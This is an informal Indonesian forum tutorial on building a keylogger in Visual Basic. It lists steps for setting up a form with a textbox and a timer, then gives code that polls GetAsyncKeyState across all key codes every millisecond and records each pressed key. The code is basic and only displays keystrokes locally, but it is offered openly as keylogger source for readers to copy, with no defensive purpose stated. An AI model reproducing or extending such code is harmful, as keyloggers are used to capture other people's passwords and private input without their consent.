[Tutorial] membuat keylogger ala team df

mungkin rada basi...buat yg pinter vb tapi lumayan kan buat yg blom tau.....
dah lansung ajah ya....

1.buka vb mu dan pilih standard exe
2. tambahin :
-1text
-1timer



3.klik kanan di from1 terus pilih view code

terus copas ni codenya :

Private declare function GetAsyncKeyState lib "user32" (ByVal vkey as long) as integer
Private Sub Form_Load ()
Timer1.Interval = 1
Timer1.Enabled = True
End Sub

Private Sub Timer1_Timer ()
Dim a As Integer

For a = 1 To 255

if GetAsyncKeyState (a) = -32767 Then
Text1.Text = Text1.Text & Chr (a)
End if
Next a
End Sub



dah segini dlo ajah.... nanti update lagi

Credit by me